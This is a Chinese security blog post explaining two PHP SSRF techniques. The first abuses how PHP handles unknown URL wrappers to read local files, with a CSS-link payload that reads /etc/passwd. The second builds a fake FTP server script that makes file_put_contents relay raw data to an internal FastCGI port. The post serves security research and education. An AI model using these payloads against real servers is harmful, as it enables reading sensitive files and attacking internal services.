两个有趣的ssrf安全问题研究

2021-02-06 18:02:00
ssrf

文章首发于:i春秋

容错特性

我先甩出关于容错特性的一个概述:(php的容错特性)当有一个不存在的协议,即无法被成功解析,如hhhm://,将其放入file_get_contents中,会发现其报错,而究其所以是将这个自定义的协议置为null,而php中当协议为null或者file时会进行本地文件读取,也就是说我们可以当做进行本地文件的操作。

本地放一段代码:

<?php
include($_GET['1']);

传参:

?1=httpss://../index.html

会发现报了两行错:

Warning: include(): Unable to find the wrapper "httpss" - did you forget to enable it when you configured PHP? in /Applications/phpstudy/WWW/index.php on line 2

Warning: include(): Unable to find the wrapper "httpss" - did you forget to enable it when you configured PHP? in /Applications/phpstudy/WWW/index.php on line 2

如上图,尽管报错但是我们包含的页面依旧成功包含了进去,事实上这里就是找不到httpss这个协议,因此把这个协议置为null,然后进行本地文件操作(index.html与当前文件事实上是处于同一个目录的),然后将httpss:这一串当成一个文件夹or文件,因此我们需要进行回退一层然后再读取才能读到处于当前目录下的文件。

关于这个漏洞的利用我给出一段代码:

function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html; }

分析代码会发现这个正则会去匹配link,然后从href中提取出css的链接,然后利用file_get_contents去获取css文件的内容最后返回,其中host在没给出的代码中,host事实上就是服务器的ip,因此当链接中不存在http://时就会将当前网站的ip拼接到提取出来的css链接中,因此直接利用file协议来读取文件的做法是无法生效的,而利用容错特性可以直接进行本地文件操作,而http://的限制只需要使用shttp://来绕过即可,因此最终的payload:

<link rel="stylesheet" type="text/css" href="shttp:///../.css/../../../../../../
etc/passwd" />

再说一下这个容错特性,事实上不止上面说到的include或者file_get_contents,笔者略微测试之后show_source,highlight_file以及其他几个文件读取的函数其实都有这个特性,因此利用面其实还是挺广泛的。

file_put_content&ftp

先来看一段很简短的代码:

<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);

如果权限够的话即可以任意文件写也可以读,那这里就是皆大欢喜,但如果权限限死了,只能在tmp目录写文件的同时也只能读部分文件,然而到这里其实还没死路;如果php是以php-fpm挂载在本地9000端口的话,其实是能够打到的,以传统的gopher打fastcgi来看在这里是行不通的,因为gopher协议需要有curl。

利用点在于file_put_contents这个函数,而所需要的协议就是ftp,这个协议在传输文件时经常见到,这个协议相对来说是有些复杂的,其实ftp有主动和被动模式:

FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

而事实上除了端口,服务器的地址也可以指定,而指定了服务器的地址端口,也就意味着可以使用类似于rogue redis server一样的的方式伪造响应包,以此来配合被动模式传输数据,并且使用ftp协议时在传输数据会跟gopher协议很像,会将数据原封不动的传到目标机器端口上的服务,也就是说利用这一特点可以做到gopher能做的事情,而对于我上面说的环境而言就是攻击挂载在9000端口的fastcgi了。

关于ftp返回码:https://blog.csdn.net/wangzhufei/article/details/86177015

截取上图部分:

其中需要了解的是227响应码:

227    Entering Passive Mode <h1,h2,h3,h4,p1,p2>.

用他来进入被动模式,h和p分别为地址和端口fake ftp脚本:

import socket
host = '0.0.0.0'
port = 1992
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn,address = sk.accept()
conn.send("220 a\n");
conn.send("331 a\n");
conn.send("230 a\n")
conn.send("200 a\n");
conn.send("550 a\n");
conn.send("227 127,0,0,1,0,9000\n")
conn.send("227 127,0,0,1,0,9000\n")
conn.send("150\n")
conn.close()

本机监听9000端口来观察数据包,简单的发个post包来观察结果:

http://127.0.0.1/?file=ftp://127.0.0.1:1992/aaa&data=POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Aa%3Dtest%0D%0A

结果如图:

其实到这一步很明显的后续gopher能做的时使用ftp基本上都能做到了(如攻击内网的redis,mysql以及上面说到的fastcgi等等。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号